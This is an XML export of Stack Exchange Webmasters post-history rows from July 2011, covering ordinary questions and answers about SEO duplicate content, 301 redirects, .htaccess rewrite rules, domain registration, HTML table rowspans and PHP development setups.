  <row Id="39472" PostHistoryTypeId="2" PostId="16554" RevisionGUID="9f88ee97-21c7-4a60-9af8-82c7aefd5fe0" CreationDate="2011-07-07T16:22:09.403" UserId="1253" Text="It will be duplicate content regardless of how the search engines view it (which they do view it as one site [since there is no difference between subdirectories and subfolders][1]). So you will have duplicate content issues. To remedy this you need to choose which one is the main site and use [canconical URLs][2] to cite it as the main source of that content.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mattcutts.com/blog/subdomains-and-subdirectories/&#xD;&#xA;  [2]: http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html" />
  <row Id="39473" PostHistoryTypeId="5" PostId="16552" RevisionGUID="a3f96544-d2ed-413d-a76e-cc6e99206982" CreationDate="2011-07-07T16:23:42.630" UserId="1253" Comment="modified tags, minor text edits" Text="I have a site, say **trusty.com** and it's blog is **blog.trusty.com**. Please note trusty.com and blog.trusty.com are both hosted with different hosting companies and **have different IP Addresses**.&#xD;&#xA;&#xD;&#xA;If I have the **same content in both**  trusty.com and blog.trusty.com **will search engines flag this as duplicate content**, or will they assume it is the part of the same domain?&#xD;&#xA;&#xD;&#xA;If you are wondering why I have the same content on both locations, it is because it appears in different &quot;packaging&quot; in both places.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="39474" PostHistoryTypeId="6" PostId="16552" RevisionGUID="a3f96544-d2ed-413d-a76e-cc6e99206982" CreationDate="2011-07-07T16:23:42.630" UserId="1253" Comment="modified tags, minor text edits" Text="&lt;seo&gt;&lt;search-engines&gt;&lt;duplicate-content&gt;" />
  <row Id="39475" PostHistoryTypeId="2" PostId="16555" RevisionGUID="30190272-5b7d-455f-9bd7-42e5eb8b2f9a" CreationDate="2011-07-07T16:25:19.617" UserId="540" Text="Sounds like this is what you are after:&#xD;&#xA;&#xD;&#xA;    +----------+--------------------+&#xD;&#xA;    |          |                    |&#xD;&#xA;    |          |       row 1        |&#xD;&#xA;    |    A     |                    |&#xD;&#xA;    |          +--------------------+&#xD;&#xA;    |          |                    |&#xD;&#xA;    +----------+       row 2        |&#xD;&#xA;    |          |                    |&#xD;&#xA;    |          +--------------------+&#xD;&#xA;    |    B     |                    |&#xD;&#xA;    |          |       row 3        |&#xD;&#xA;    |          |                    |&#xD;&#xA;    +----------+--------------------+&#xD;&#xA;&#xD;&#xA;If so, then no, technically speaking this isn't possible in HTML, however that's only because of how we are thinking of the rows.&#xD;&#xA;&#xD;&#xA;Instead of 3 rows, if this table were actually 6 rows, then it would work if you adjusted the rowspans to:&#xD;&#xA;&#xD;&#xA;where `rs#` is `rowspan=&quot;#&quot;`&#xD;&#xA;&#xD;&#xA;    +----------+--------------------+  ------&#xD;&#xA;    |          |                    |      &lt;- Row 1  &#xD;&#xA;    |          |       rs2          |  ------&#xD;&#xA;    |    rs3   |                    |      &lt;- Row 2&#xD;&#xA;    |          +--------------------+  ------&#xD;&#xA;    |          |                    |      &lt;- Row 3&#xD;&#xA;    +----------+       rs2          |  ------&#xD;&#xA;    |          |                    |      &lt;- Row 4&#xD;&#xA;    |          +--------------------+  ------&#xD;&#xA;    |    rs3   |                    |      &lt;- Row 5&#xD;&#xA;    |          |       rs2          |  ------&#xD;&#xA;    |          |                    |      &lt;- Row 6&#xD;&#xA;    +----------+--------------------+  ------&#xD;&#xA;" />
  <row Id="39476" PostHistoryTypeId="17" PostId="16556" RevisionGUID="9454ffee-5191-4c9c-962e-5c881936c3a9" CreationDate="2011-07-07T17:23:12.593" UserId="-1" Comment="from http://stackoverflow.com/questions/6596168/apply-blogger-labels-as-keywords-for-every-post" Text="" />
  <row Id="39477" PostHistoryTypeId="2" PostId="16556" RevisionGUID="0f9b0aa1-9af7-426b-9494-eb70f4089e95" CreationDate="2011-07-06T12:13:08.990" UserDisplayName="Milan Patartics" Text="I created a blog, and I need different keywords for every post I make. There are some solutions, that use the post's labels as keywords. The idea is pretty cool, but none of them can place the data in the HEAD section.&#xD;&#xA;&#xD;&#xA;One sample, I use: &#xD;&#xA;http://www.yousaytoo.com/how-to-put-meta-tag-your-blogger-blog-label-as-keywords/720657&#xD;&#xA;&#xD;&#xA;I looking for something that helps me to place the keywords in the HEAD section.&#xD;&#xA;Thanks!" />
  <row Id="39478" PostHistoryTypeId="1" PostId="16556" RevisionGUID="0f9b0aa1-9af7-426b-9494-eb70f4089e95" CreationDate="2011-07-06T12:13:08.990" UserDisplayName="Milan Patartics" Text="Apply Blogger Labels as Keywords for every Post" />
  <row Id="39479" PostHistoryTypeId="3" PostId="16556" RevisionGUID="0f9b0aa1-9af7-426b-9494-eb70f4089e95" CreationDate="2011-07-06T12:13:08.990" UserDisplayName="Milan Patartics" Text="&lt;html&gt;&lt;seo&gt;&lt;keywords&gt;&lt;meta&gt;&lt;blogger&gt;" />
  <row Id="39480" PostHistoryTypeId="17" PostId="16557" RevisionGUID="13918733-c860-44fc-9d87-290e6ee914ad" CreationDate="2011-07-07T17:25:31.620" UserId="-1" Comment="from http://stackoverflow.com/questions/6605423/online-code-editor-file-hosting" Text="" />
  <row Id="39481" PostHistoryTypeId="2" PostId="16558" RevisionGUID="08a78dbb-f27b-43cd-9cfc-4d53bb536d61" CreationDate="2011-07-07T08:41:05.593" UserId="8828" Text="Okay so I think I understand here. http://pastebin.com/ is an excellent website that I use. The code can be public or private and it has syntax highlighting for many languages.&#xD;&#xA;&#xD;&#xA;Hope that helped!" />
  <row Id="39482" PostHistoryTypeId="2" PostId="16557" RevisionGUID="38882cde-8b3a-4a56-87ed-a74705554a27" CreationDate="2011-07-07T03:15:52.533" UserDisplayName="Topher Fangio" Text="I've been searching all over the Internet and am having trouble finding the following:&#xD;&#xA;&#xD;&#xA; - An online code editor (with syntax highlighting, line numbers, etc.) that allows you to save the file in the &quot;cloud&quot; and access the raw file via a link.&#xD;&#xA;&#xD;&#xA;I'm trying to use LESS from http://lesscss.org on my SquareSpace website, but it requires you to use a `&lt;link href=&quot;...&quot; /&gt;` tag instead of dropping the less directly in `&lt;style&gt;` tags in my site.&#xD;&#xA;&#xD;&#xA;Anyone have any suggestions?&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="39483" PostHistoryTypeId="1" PostId="16557" RevisionGUID="38882cde-8b3a-4a56-87ed-a74705554a27" CreationDate="2011-07-07T03:15:52.533" UserDisplayName="Topher Fangio" Text="Online Code Editor + File Hosting" />
  <row Id="39484" PostHistoryTypeId="3" PostId="16557" RevisionGUID="38882cde-8b3a-4a56-87ed-a74705554a27" CreationDate="2011-07-07T03:15:52.533" UserDisplayName="Topher Fangio" Text="&lt;css&gt;&lt;cloud&gt;" />
  <row Id="39485" PostHistoryTypeId="17" PostId="16558" RevisionGUID="5cc6f77e-60f0-49bf-8275-06ea75cf83be" CreationDate="2011-07-07T17:25:31.620" UserId="-1" Comment="from http://stackoverflow.com/questions/6605423/online-code-editor-file-hosting" Text="" />
  <row Id="39486" PostHistoryTypeId="17" PostId="16559" RevisionGUID="26c1f9c2-6893-41f8-be9d-4c3af14c016b" CreationDate="2011-07-07T17:25:31.620" UserId="-1" Comment="from http://stackoverflow.com/questions/6605423/online-code-editor-file-hosting" Text="" />
  <row Id="39487" PostHistoryTypeId="2" PostId="16559" RevisionGUID="04470784-3fd1-4f8f-8829-f45d3aa82c76" CreationDate="2011-07-07T08:55:06.607" UserDisplayName="Oltarus" Text="[JsFiddle][1] allows to write HTML, CSS and JavaScript and run the generated page.&#xD;&#xA;&#xD;&#xA;[1]:http://jsfiddle.net/" />
  <row Id="39488" PostHistoryTypeId="25" PostId="16548" RevisionGUID="e43b7f6a-9197-4a3e-ad76-77066f8cfc12" CreationDate="2011-07-07T18:27:35.723" Comment="http://twitter.com/#!/StackWebmasters/status/89037862426775552" />
  <row Id="39489" PostHistoryTypeId="2" PostId="16560" RevisionGUID="160c0264-7d4f-48d0-b608-732af397416b" CreationDate="2011-07-07T20:17:51.883" UserId="6451" Text="If it's always the same two elements as siblings (for example, a header div followed by a menu div at the top of each page), then there is no difference between adding margin-bottom (or padding) to the top vs. adding margin-top to the bottom. &#xD;&#xA;&#xD;&#xA;OTOH, if the elements in question sometimes appear elsewhere in the document (for example, an H2 can be an article title followed by a byline in one place or a subheading followed by a paragraph elsewhere), then the answer will depend on how you need them to behave in each of the places. " />
  <row Id="39490" PostHistoryTypeId="2" PostId="16561" RevisionGUID="c16e5f02-d2e0-45eb-a746-4fe0a82ef077" CreationDate="2011-07-07T20:29:15.523" UserId="7539" Text="It turns out that all this traffic is not from referrer spam, it's from stumbleupon's android app. All that traffic has Android user agents, and by logging the http requests the the android app is making I was able to determine that they are setting the referrer header incorrectly. They've got a typo in their own domain name!&#xD;&#xA;&#xD;&#xA;![the offending header][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/2mx02.png" />
  <row Id="39491" PostHistoryTypeId="25" PostId="16546" RevisionGUID="fc36c4ef-a336-4218-ab2b-f1ae3c07598d" CreationDate="2011-07-07T21:27:36.100" Comment="http://twitter.com/#!/StackWebmasters/status/89083162755473408" />
  <row Id="39492" PostHistoryTypeId="2" PostId="16562" RevisionGUID="fbeeb80c-2c0e-48ad-bbaa-251c06ba278d" CreationDate="2011-07-07T22:34:35.743" UserId="8854" Text="Since editing files live from a remote server slows down development. I use XAMPP on windows to develop then run the web app's on a Linux server.&#xD;&#xA;&#xD;&#xA;However to avoid environment dependencies I'd like to mirror the live environment and the development environments.&#xD;&#xA;&#xD;&#xA;What I'm asking is running development server on Ubuntu inside VirtualBox whilst editing the source files via ftp/Dreamweaver is a good idea?&#xD;&#xA;&#xD;&#xA;If so, and I wanted to view the local website on the host OS (windows) how would I do this? does the guest OS have a LAN/Local IP address? I notice on windows &quot;ipconfig /all&quot; there are &quot;tunneling&quot; adapters which I assume is for VirtualBox, so I guess the guest OS has the same LAN/Local IP address? if so how would I view the websites hosted on the guest OS on the host OS?&#xD;&#xA;&#xD;&#xA;I'd also need to host FTP server on guest OS.&#xD;&#xA;&#xD;&#xA;Note: **I need windows!** I would love to use Linux all the way -.-&#xD;&#xA;&#xD;&#xA;Thanks in advance&#xD;&#xA;-Kristian" />
  <row Id="39493" PostHistoryTypeId="1" PostId="16562" RevisionGUID="fbeeb80c-2c0e-48ad-bbaa-251c06ba278d" CreationDate="2011-07-07T22:34:35.743" UserId="8854" Text="PHP Development Environment (Host: Windows 7, Guest: Ubuntu)" />
  <row Id="39494" PostHistoryTypeId="3" PostId="16562" RevisionGUID="fbeeb80c-2c0e-48ad-bbaa-251c06ba278d" CreationDate="2011-07-07T22:34:35.743" UserId="8854" Text="&lt;php&gt;&lt;web-development&gt;&lt;ubuntu&gt;" />
  <row Id="39495" PostHistoryTypeId="2" PostId="16563" RevisionGUID="d02dee24-028f-495e-b1cd-41de4dd706cc" CreationDate="2011-07-07T23:26:35.720" UserId="7040" Text="We have a ton of alternate domain names. What is the best strategy as far as SEO strategy is concerned? Do we want to 301 redirect them all to our primary domain or set up simple landing pages that link to the main site? " />
  <row Id="39496" PostHistoryTypeId="1" PostId="16563" RevisionGUID="d02dee24-028f-495e-b1cd-41de4dd706cc" CreationDate="2011-07-07T23:26:35.720" UserId="7040" Text="What should I do with a ton of alternate domains? Redirect or use landing pages?" />
  <row Id="39497" PostHistoryTypeId="3" PostId="16563" RevisionGUID="d02dee24-028f-495e-b1cd-41de4dd706cc" CreationDate="2011-07-07T23:26:35.720" UserId="7040" Text="&lt;seo&gt;&lt;redirects&gt;" />
  <row Id="39498" PostHistoryTypeId="17" PostId="16564" RevisionGUID="1d0c207f-cec2-4927-ae76-60754430891c" CreationDate="2011-07-07T23:54:29.900" UserId="-1" Comment="from http://stackoverflow.com/questions/6618476/how-to-put-my-web-site-online" Text="" />
  <row Id="39499" PostHistoryTypeId="2" PostId="16564" RevisionGUID="9b937645-ebe8-4a4c-bce7-f3c896bb094f" CreationDate="2011-07-07T23:51:35.100" UserDisplayName="doubter" Text="0 down vote favorite&#xD;&#xA;	&#xD;&#xA;&#xD;&#xA;It's quite simple...I've developed a web site using symfony and wamp server on my pc and now I'd like to make it accessible to everyone on the web.&#xD;&#xA;&#xD;&#xA;So what I'd like to know is the best host provider and domain register considering that it's a symfony project.&#xD;&#xA;&#xD;&#xA;It's my first time launching a web site so I don't really know if I can have ssh access to the server host considering that it would be better than only dumping through ftp. Subversion is also important to quick updates.&#xD;&#xA;&#xD;&#xA;Sorry for the noob question.&#xD;&#xA;" />
  <row Id="39500" PostHistoryTypeId="1" PostId="16564" RevisionGUID="9b937645-ebe8-4a4c-bce7-f3c896bb094f" CreationDate="2011-07-07T23:51:35.100" UserDisplayName="doubter" Text="How to put my web site online" />
  <row Id="39501" PostHistoryTypeId="3" PostId="16564" RevisionGUID="9b937645-ebe8-4a4c-bce7-f3c896bb094f" CreationDate="2011-07-07T23:51:35.100" UserDisplayName="doubter" Text="&lt;web&gt;&lt;web-hosting&gt;&lt;sites&gt;" />
  <row Id="39502" PostHistoryTypeId="2" PostId="16565" RevisionGUID="ced5e4e2-fe51-46a9-8b5d-7b0c11a08c3e" CreationDate="2011-07-08T00:16:58.477" UserId="1253" Text="There is no SEO benefits of having those domains. You'll want to do a 301 redirects to the main domain so if someone uses one of the alternate domains they will find the main domain. You want only one domain to serve your content as you will run into duplicate content issues with the search engines if you don't. Plus you run the risk of confusing users if they keep seeing different domains when they reach your content.&#xD;&#xA;&#xD;&#xA;Having landing pages that link to your site may be viewed as a link scheme by yhe search engines and you would run the risk of penalties including removal from Google's search results. Even if you don't, forcing users to view those landing pages and having to click on a link to find the content they were looking for will almost certainly result in site abandonment. " />
  <row Id="39503" PostHistoryTypeId="2" PostId="16566" RevisionGUID="2038a761-c7c1-419b-a15f-118972f8b8af" CreationDate="2011-07-08T00:23:39.033" UserId="1253" Text="There is no best host or registrar for a website built with symphony. The registrar only affects your domain name and has nothing to do with the content of your website. And the hosting only needs to support PHP for symphony to work. The vast majority of web hosts offer PHP. All you really need to do is verify they offer SSH (most do).&#xD;&#xA;&#xD;&#xA;Instead of turning this into yet another web host and registrar recommendation thread I'm going to recommend you do some of your own research using the search functionality of this site and Google. That information is easy to find." />
  <row Id="39504" PostHistoryTypeId="5" PostId="16564" RevisionGUID="8c7f3888-c48d-43f4-93d7-dc7825f56e70" CreationDate="2011-07-08T00:24:00.343" UserId="-1" Comment="remove needless content" Text="I've developed a web site using symfony and wamp server on my pc and now I'd like to make it accessible to everyone on the web.&#xD;&#xA;&#xD;&#xA;So what I'd like to know is the best host provider and domain register considering that it's a symfony project.&#xD;&#xA;&#xD;&#xA;It's my first time launching a web site so I don't really know if I can have `ssh` access to the server host considering that it would be better than only dumping through ftp. Subversion is also important to quick updates." />
  <row Id="39505" PostHistoryTypeId="24" PostId="16564" RevisionGUID="8c7f3888-c48d-43f4-93d7-dc7825f56e70" CreationDate="2011-07-08T00:24:00.343" Comment="Proposed by 71.236.238.2|40ddce0a-a294-45b9-bce6-023b566b89ef approved by 1253 edit id of 429" />
  <row Id="39506" PostHistoryTypeId="25" PostId="16535" RevisionGUID="03ade4a8-c16a-40fb-a644-d2806c867a56" CreationDate="2011-07-08T00:27:36.493" Comment="http://twitter.com/#!/StackWebmasters/status/89128462752813056" />
  <row Id="39507" PostHistoryTypeId="5" PostId="16565" RevisionGUID="05328871-b7ac-4597-adf8-1347331a09e3" CreationDate="2011-07-08T00:44:56.080" UserId="1253" Comment="added 151 characters in body" Text="There is no SEO benefits of having those domains. You'll want to do a 301 redirects to the main domain so if someone uses one of the alternate domains they will find the main domain. You want only one domain to serve your content as you will run into duplicate content issues with the search engines if you don't. Plus you run the risk of confusing users if they keep seeing different domains when they reach your content.&#xD;&#xA;&#xD;&#xA;Having landing pages that link to your site may be viewed as a link scheme by the search engines and you would run the risk of penalties including removal from Google's search results. Even if you don't, forcing users to view those landing pages and having to click on a link to find the content they were looking for will almost certainly result in site abandonment. &#xD;&#xA;&#xD;&#xA;To summerize, pick a main domain and do 301 redirects with all of the alternate domains. You'll avoid SEO issues and make it easier for your users." />
  <row Id="39508" PostHistoryTypeId="2" PostId="16567" RevisionGUID="d4bc7229-75d8-4de2-a54a-a041e2224777" CreationDate="2011-07-08T02:15:17.180" UserId="1245" Text="Going by the [accepted answer to this question][1], do you have [`mod_pagespeed` enabled][2] on your server?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/4299115/why-is-my-wordpress-php-header-template-generating-oddly-coded-paths-and-transclu&#xD;&#xA;  [2]: http://code.google.com/speed/page-speed/docs/module.html" />
  <row Id="39509" PostHistoryTypeId="5" PostId="16565" RevisionGUID="6dd6f195-908a-4228-b576-91ddbc1a74a0" CreationDate="2011-07-08T02:16:28.960" UserId="1253" Comment="added 135 characters in body" Text="[There is no SEO benefits of having those domains][1]. You'll want to do a 301 redirects to the main domain so if someone uses one of the alternate domains they will find the main domain. You want only one domain to serve your content as you will run into duplicate content issues with the search engines if you don't. Plus you run the risk of confusing users if they keep seeing different domains when they reach your content.&#xD;&#xA;&#xD;&#xA;Having landing pages that link to your site may be viewed as a link scheme by the search engines and you would run the risk of penalties including removal from Google's search results. Even if you don't, forcing users to view those landing pages and having to click on a link to find the content they were looking for will almost certainly result in site abandonment. &#xD;&#xA;&#xD;&#xA;To summerize, pick a main domain and do 301 redirects with all of the alternate domains. You'll avoid SEO issues and make it easier for your users.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/3777/could-i-buy-a-domain-name-to-increase-traffic-to-my-site-like-this" />
  <row Id="39510" PostHistoryTypeId="25" PostId="16542" RevisionGUID="634aca7a-0824-491e-b06e-eb827e955ae4" CreationDate="2011-07-08T03:27:51.893" Comment="http://twitter.com/#!/StackWebmasters/status/89173825937358849" />
  <row Id="39511" PostHistoryTypeId="2" PostId="16568" RevisionGUID="9ef2af92-700c-4432-b4ee-d52d31187c29" CreationDate="2011-07-08T04:20:30.633" UserId="8299" Text="I wanted to register a domain with No-Ip and clicked the Sign Up button on their homepage.  I entered my desired domain name (I won't publish it until I get this resolved, to prevent &quot;domain theft&quot;), then clicked Add my domain. I completed the order form, and waited 72 hours like it said, but my domain is still not active. Any help? Did I register my domain correctly?" />
  <row Id="39512" PostHistoryTypeId="1" PostId="16568" RevisionGUID="9ef2af92-700c-4432-b4ee-d52d31187c29" CreationDate="2011-07-08T04:20:30.633" UserId="8299" Text="I THINK I registered my domain correctly through No-Ip.com, but it still doesn't appear to exist...." />
  <row Id="39513" PostHistoryTypeId="3" PostId="16568" RevisionGUID="9ef2af92-700c-4432-b4ee-d52d31187c29" CreationDate="2011-07-08T04:20:30.633" UserId="8299" Text="&lt;domains&gt;&lt;dns&gt;&lt;domain-registration&gt;" />
  <row Id="39520" PostHistoryTypeId="2" PostId="16571" RevisionGUID="02ad21d3-d941-4cf8-842e-b08d32498b9a" CreationDate="2011-07-08T06:05:52.397" UserId="1585" Text="I dont like the idea of having a large system. I like components i can swap in and out so if i am lacking a feature i can use something else rather then live with it or start cover with a different system. It looks like there are systems that do it all.&#xD;&#xA;&#xD;&#xA;I need something to allow customers to buy something. Kickstart a script i have. Register the user in a ticketing system for customer support. Notify me when their support has expired (also tickets should only be available to customers).&#xD;&#xA;&#xD;&#xA;A bonus would be if i can have forum software and a mailing list.&#xD;&#xA;Is there a good combination of software i can use?" />
  <row Id="39521" PostHistoryTypeId="1" PostId="16571" RevisionGUID="02ad21d3-d941-4cf8-842e-b08d32498b9a" CreationDate="2011-07-08T06:05:52.397" UserId="1585" Text="What package(s) do i need for selling and tickets?" />
  <row Id="39522" PostHistoryTypeId="3" PostId="16571" RevisionGUID="02ad21d3-d941-4cf8-842e-b08d32498b9a" CreationDate="2011-07-08T06:05:52.397" UserId="1585" Text="&lt;customer-service&gt;" />
  <row Id="39523" PostHistoryTypeId="25" PostId="16552" RevisionGUID="1c1b6a9a-cc0c-4031-a883-ce351ba847d3" CreationDate="2011-07-08T06:27:52.190" Comment="http://twitter.com/#!/StackWebmasters/status/89219126215708672" />
  <row Id="39524" PostHistoryTypeId="2" PostId="16572" RevisionGUID="66f8e9fc-819a-4f57-8b1d-aede74529199" CreationDate="2011-07-08T07:32:09.667" UserId="5134" Text="I get this error message &#xD;&#xA;&#xD;&#xA;&gt; **Server error**&#xD;&#xA;&gt; &#xD;&#xA;&gt; The website encountered an error while&#xD;&#xA;&gt; retrieving http://mywebsite.com/. It&#xD;&#xA;&gt; may be down for maintenance or&#xD;&#xA;&gt; configured incorrectly. Here are some&#xD;&#xA;&gt; suggestions: Reload this web page&#xD;&#xA;&gt; later.&#xD;&#xA;&#xD;&#xA;Is it from my host provide internal server error on website sytax error? &#xD;&#xA;How do investigate the problem? " />
  <row Id="39525" PostHistoryTypeId="1" PostId="16572" RevisionGUID="66f8e9fc-819a-4f57-8b1d-aede74529199" CreationDate="2011-07-08T07:32:09.667" UserId="5134" Text="Server error - Is it from my host provider side or sytax error?" />
  <row Id="39526" PostHistoryTypeId="3" PostId="16572" RevisionGUID="66f8e9fc-819a-4f57-8b1d-aede74529199" CreationDate="2011-07-08T07:32:09.667" UserId="5134" Text="&lt;server&gt;&lt;error&gt;" />
  <row Id="39527" PostHistoryTypeId="2" PostId="16573" RevisionGUID="5bbe9668-0c5d-438a-ba84-f7cc59aaebb5" CreationDate="2011-07-08T08:07:22.340" UserId="1643" Text="This is what you get when the server returns an HTTP code 500. Your browser sees that and displays a more friendly message. So it's an internal server error.&#xD;&#xA;&#xD;&#xA;To investigate the problem you need to let us know a bit more information - has it ever worked? Did you change something recently? If nothing has changed and this has suddenly started happening then I'd contact your hosting company." />
  <row Id="39529" PostHistoryTypeId="2" PostId="16574" RevisionGUID="cee969a8-b514-4303-9784-5820c167f03e" CreationDate="2011-07-08T09:43:34.240" UserId="7198" Text="First, do a [WHOIS](http://www.whois.sc/) lookup of your domain name to see if it's listed as registered. If it's *not* registered but you received a confirmation of the order by email, contact your registrar for support.&#xD;&#xA;&#xD;&#xA;If the domain *is* registered, it sounds like you haven't pointed the domain to a server yet, which is why you're not seeing a website when you visit the domain in your browser.&#xD;&#xA;&#xD;&#xA;**To point the domain to your home computer,** follow [these instructions from no-ip.](http://www.no-ip.com/support/guides/other/using_cable_dsl_router.html)&#xD;&#xA;&#xD;&#xA;**To point the domain name to a web server elsewhere,**  first purchase web hosting from a hosting company (search for 'shared hosting'). The welcome email from the web host will contain two or more 'nameservers', as well as an IP address. You need to enter the nameservers *or* the IP address in the no-ip control panel (depending on what options they give you there) to point the domain name to the web server.&#xD;&#xA;" />
  <row Id="39530" PostHistoryTypeId="4" PostId="16568" RevisionGUID="11370b36-e42a-485d-9f84-6c058e76147d" CreationDate="2011-07-08T09:44:34.283" UserId="7198" Comment="edited title" Text="I registered my domain, but it doesn't appear to exist..." />
  <row Id="39531" PostHistoryTypeId="2" PostId="16575" RevisionGUID="a4c2d173-825a-43b9-a0ac-5b1b3af1722c" CreationDate="2011-07-08T10:11:08.587" UserId="7588" Text="You can use CiviCRM integrated into Drupal to provide all of the functionality you require. The CiviEvent module will not allow you to specify seat locations but it will do everything else.&#xD;&#xA;&#xD;&#xA;http://www.civicrm.org" />
  <row Id="39532" PostHistoryTypeId="5" PostId="16572" RevisionGUID="9885e88e-3782-4964-9326-6d59b13f64f3" CreationDate="2011-07-08T10:25:00.930" UserId="5134" Comment="added 5 characters in body" Text="I get this error message &#xD;&#xA;&#xD;&#xA;&gt; **Server error**&#xD;&#xA;&gt; &#xD;&#xA;&gt; The website encountered an error while&#xD;&#xA;&gt; retrieving http://mywebsite.com/. It&#xD;&#xA;&gt; may be down for maintenance or&#xD;&#xA;&gt; configured incorrectly. Here are some&#xD;&#xA;&gt; suggestions: Reload this web page&#xD;&#xA;&gt; later.&#xD;&#xA;&#xD;&#xA;Is it from my host provider internal server error, or my website sytax error? &#xD;&#xA;How do investigate the problem? " />
  <row Id="39533" PostHistoryTypeId="17" PostId="16576" RevisionGUID="5a8ad001-3c6b-460e-bed8-8b5fdd4adab2" CreationDate="2011-07-08T11:16:11.370" UserId="-1" Comment="from http://stackoverflow.com/questions/6623327/htaccess-and-301-redirects-multiple-domains" Text="" />
  <row Id="39534" PostHistoryTypeId="2" PostId="16576" RevisionGUID="92757468-3342-4754-98d3-c4b4cfb6c0f5" CreationDate="2011-07-08T10:42:18.243" UserDisplayName="drs" Text="I have the following which redirects mydomain1.co.uk and http://mydomain1.com to www.mydomain1.com perfectly.&#xD;&#xA;&#xD;&#xA;    RewriteCond %{HTTP_HOST} !^(.*)\.mydomain1\.com$ [NC]&#xD;&#xA;    RewriteRule ^(.*)$ http://www.mydomain1.com/$1 [R=301,L]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I am trying to add an additional rule for a second domain, that will redirect all non www traffic for mydomain2.com to www.mydomain2.com.&#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;" />
  <row Id="39535" PostHistoryTypeId="1" PostId="16576" RevisionGUID="92757468-3342-4754-98d3-c4b4cfb6c0f5" CreationDate="2011-07-08T10:42:18.243" UserDisplayName="drs" Text="htaccess and 301 redirects - multiple domains" />
  <row Id="39536" PostHistoryTypeId="3" PostId="16576" RevisionGUID="92757468-3342-4754-98d3-c4b4cfb6c0f5" CreationDate="2011-07-08T10:42:18.243" UserDisplayName="drs" Text="&lt;htaccess&gt;&lt;mod-rewrite&gt;" />
  <row Id="39540" PostHistoryTypeId="5" PostId="16572" RevisionGUID="03dbe728-9491-42fd-ace7-72f5aa9936bc" CreationDate="2011-07-08T11:40:22.940" UserId="5134" Comment="added 2 characters in body" Text="I get this error message &#xD;&#xA;&#xD;&#xA;&gt; **Server error**&#xD;&#xA;&gt; &#xD;&#xA;&gt; The website encountered an error while&#xD;&#xA;&gt; retrieving http://mywebsite.com/. It&#xD;&#xA;&gt; may be down for maintenance or&#xD;&#xA;&gt; configured incorrectly. Here are some&#xD;&#xA;&gt; suggestions: Reload this web page&#xD;&#xA;&gt; later.&#xD;&#xA;&#xD;&#xA;Is it from my host provider internal server error, or my website sytax error? &#xD;&#xA;How do i investigate the problem? " />
  <row Id="39544" PostHistoryTypeId="25" PostId="16568" RevisionGUID="d3589feb-b56e-4d78-a53e-802d0efa6f9b" CreationDate="2011-07-08T12:28:13.993" Comment="http://twitter.com/#!/StackWebmasters/status/89309813632286721" />
  <row Id="39545" PostHistoryTypeId="2" PostId="16579" RevisionGUID="de79dc20-a0c2-45ac-8433-9193b1ef3854" CreationDate="2011-07-08T14:25:50.973" UserId="8354" Text="You seems to have quite a few domains and subdomains pointing to the same folder (so they share the same .htaccess) which makes your original approach not suitable for such situation. Use these rules instead of yours:&#xD;&#xA;&#xD;&#xA;    RewriteCond %{HTTP_HOST} =mydomain1.co.uk [OR]&#xD;&#xA;    RewriteCond %{HTTP_HOST} =mydomain1.com&#xD;&#xA;    RewriteRule ^(.*)$ http://www.mydomain1.com/$1 [R=301,L]&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{HTTP_HOST} =mydomain2.com&#xD;&#xA;    RewriteRule ^(.*)$ http://www.mydomain2.com/$1 [R=301,L]&#xD;&#xA;&#xD;&#xA;These rules will only work with domains/subdomains described in your question and will not catch any other subdomains (e.g. `hello.mydomain1.com` will not trigger these rules)." />
  <row Id="39547" PostHistoryTypeId="25" PostId="16563" RevisionGUID="05402464-9514-4fab-ad8c-35c39feb72aa" CreationDate="2011-07-08T15:28:13.493" Comment="http://twitter.com/#!/StackWebmasters/status/89355110978826240" />
  <row Id="39548" PostHistoryTypeId="2" PostId="16580" RevisionGUID="1438d14d-fca2-4510-8875-a60a1e8ae4c3" CreationDate="2011-07-08T15:51:24.050" UserId="8331" Text="Has anyone used the Magento Community version for a live site? &#xD;&#xA;&#xD;&#xA;http://www.magentocommerce.com/product/compare#comparison-chart&#xD;&#xA;&#xD;&#xA;Ive used ubercart for a few sites and im wondering if the free version of Magento is workable for someone with CMS and eCommerce experience, or are their security issues? &#xD;&#xA;&#xD;&#xA;Thanks  " />
  <row Id="39549" PostHistoryTypeId="1" PostId="16580" RevisionGUID="1438d14d-fca2-4510-8875-a60a1e8ae4c3" CreationDate="2011-07-08T15:51:24.050" UserId="8331" Text="Magento Community secure?" />
  <row Id="39550" PostHistoryTypeId="3" PostId="16580" RevisionGUID="1438d14d-fca2-4510-8875-a60a1e8ae4c3" CreationDate="2011-07-08T15:51:24.050" UserId="8331" Text="&lt;magento&gt;" />
  <row Id="39551" PostHistoryTypeId="2" PostId="16581" RevisionGUID="c1969085-620b-441f-bf82-21f936f5fb21" CreationDate="2011-07-08T16:13:43.563" UserId="6033" Text="The community edition doesn't have the secure payment bridge which helps with PCI compliance. That's the real difference between community and pro. For commercial sites that process more than a few thousand transactions a year, use magento professional or magento go if it's a small business.&#xD;&#xA;&#xD;&#xA;I don't mention enterprise because you'd already know if you needed it." />
  <row Id="39552" PostHistoryTypeId="5" PostId="16581" RevisionGUID="12f71a2a-d347-4366-929f-8d0e87648ad0" CreationDate="2011-07-08T16:35:05.620" UserId="6033" Comment="added 12 characters in body" Text="The community edition doesn't have the secure payment bridge which helps with PCI compliance. That's the real difference between community and pro. For commercial sites that process more than a few thousand credit card transactions a year, use magento professional or magento go if it's a small business.&#xD;&#xA;&#xD;&#xA;I don't mention enterprise because you'd already know if you needed it." />
  <row Id="39553" PostHistoryTypeId="17" PostId="16582" RevisionGUID="f38b49c9-3079-4946-964f-a35f6dfd2f34" CreationDate="2011-07-08T17:36:06.817" UserId="-1" Comment="from http://serverfault.com/questions/288355/cdn-png-image-not-accessible-from-my-machine" Text="" />
